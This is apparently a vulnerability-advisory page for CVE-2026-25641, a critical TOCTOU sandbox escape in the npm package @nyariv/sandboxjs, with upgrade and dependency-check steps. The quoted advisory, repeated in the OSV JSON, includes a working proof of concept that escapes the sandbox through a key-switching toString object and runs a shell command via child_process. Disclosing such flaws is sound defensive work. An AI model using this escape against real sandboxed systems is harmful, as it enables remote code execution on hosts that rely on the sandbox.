CVE-2026-25641: @nyariv/sandboxjs @nyariv/sandboxjs Vulnerable To Sandbox Escape Vulnerability

CRITICAL
Advisory Identifier: GHSA-7x3h-rm86-3342
CVSS 10.0
CWE-367 CWE-74
Published
Advisory Summary

CVE-2026-25641 is a CRITICAL (CVSS 10.0) @nyariv/sandboxjs vulnerable to sandbox escape vulnerability (CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition) affecting @nyariv/sandboxjs libraries in the npm ecosystem. The issue involves @nyariv/sandboxjs vulnerable to sandbox escape via toctou bug on keys in property accesses. Remediation is available by upgrading affected packages to version 0.8.29.

CVE-2026-25641 at a Glance

CVE Identifier CVE-2026-25641
GHSA Identifier GHSA-7x3h-rm86-3342
Severity CRITICAL
CVSS v3.1 Base Score 10.0
CWE Classification CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition
Affected Product @nyariv/sandboxjs
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 10.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-25641

To remediate this vulnerability, upgrade all affected @nyariv/sandboxjs dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@nyariv/sandboxjs fixed: 0.8.29
npm install @nyariv/sandboxjs@0.8.29
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @nyariv/sandboxjs

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-25641, inspect your project dependencies using npm:

npm ls @nyariv/sandboxjs

Analyze the terminal output to locate any version of @nyariv/sandboxjs in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.8.29), your application is affected.

Note: The npm ls @nyariv/sandboxjs command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition, where the product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. In @nyariv/sandboxjs, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A sandbox escape vulnerabilities due to a mismatch between the key on which the validation is performed and the key used for accessing properties. ### Details Even though the key used in property accesses (```b``` in the code below) is annotated as ```string```, this is never enforced: https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304 So, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using ```hasOwnProperty(key)``` and a different one for when the key is used for the actual property access. ### PoC ```js const Sandbox = require('@nyariv/sandboxjs').default; const code = ` let a = new Map; a.x = 23; let count = 0; let nastyProp = {toString: () => {if (count<1){count++;return "x"} else return "__proto__"}} let mapProt = a[nastyProp]; mapProt.has = isFinite; console.log( isFinite.constructor( "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()", )(), );`; const scope = {}; const sandbox = new Sandbox(); const exec = sandbox.compile(code); exec(scope).run(); ``` ### Impact Remote code execution, if attacker can execute code inside the sandbox.

CVE-2026-25641 Affected @nyariv/sandboxjs Versions

1 component(s)
Fixed Versions:
0.8.29
Product / Package Ecosystem Affected Versions Fixed Version
@nyariv/sandboxjs
npm
< 0.8.29
0.8.29

References

Frequently Asked Questions

What is CVE-2026-25641?
CVE-2026-25641 is a security vulnerability in @nyariv/sandboxjs involving @nyariv/sandboxjs vulnerable to sandbox escape via TOCTOU bug on keys in property accesses under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition.
Which @nyariv/sandboxjs versions are affected?
Affected versions include releases prior to 0.8.29 across affected packages: @nyariv/sandboxjs.
What version fixes CVE-2026-25641?
Upgrading to 0.8.29 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @nyariv/sandboxjs affected?
Yes, @nyariv/sandboxjs is affected in releases prior to 0.8.29. Upgrade your dependency to 0.8.29 or later.
What is the CVSS score of CVE-2026-25641?
CVE-2026-25641 has a CVSS v3.1 base score of 10.0 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-25641?
CVE-2026-25641 is classified under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition (The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check.).
How can I check npm dependencies for CVE-2026-25641?
Run the dependency tree command: 'npm ls @nyariv/sandboxjs'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7x3h-rm86-3342",
  "modified" : "2026-02-06T21:42:58Z",
  "published" : "2026-02-05T21:33:04Z",
  "aliases" : [ "CVE-2026-25641" ],
  "summary" : "@nyariv/sandboxjs vulnerable to sandbox escape via TOCTOU bug on keys in property accesses",
  "details" : "### Summary\nA sandbox escape vulnerabilities due to a mismatch between the key on which the validation is performed and the key used for accessing properties.\n\n### Details\nEven though the key used in property accesses (```b``` in the code below) is annotated as ```string```, this is never enforced:\nhttps://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304\nSo, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using ```hasOwnProperty(key)``` and a different one for when the key is used for the actual property access.\n\n### PoC\n```js\nconst Sandbox = require('@nyariv/sandboxjs').default;\n\nconst code = `\nlet a = new Map;\na.x = 23;\nlet count = 0;\n\nlet nastyProp = {toString: () => {if (count<1){count++;return \"x\"} else return \"__proto__\"}}\nlet mapProt = a[nastyProp];\nmapProt.has = isFinite;\nconsole.log(\n  isFinite.constructor(\n    \"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()\",\n  )(),\n);`;\nconst scope = {};\nconst sandbox = new Sandbox();\nconst exec = sandbox.compile(code);\nexec(scope).run(); \n```\n\n### Impact\nRemote code execution, if attacker can execute code inside the sandbox.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@nyariv/sandboxjs"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.8.29"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.8.28"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-7x3h-rm86-3342"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25641"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nyariv/SandboxJS"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-367", "CWE-74" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-05T21:33:04Z",
    "nvd_published_at" : "2026-02-06T20:16:11Z"
  }
}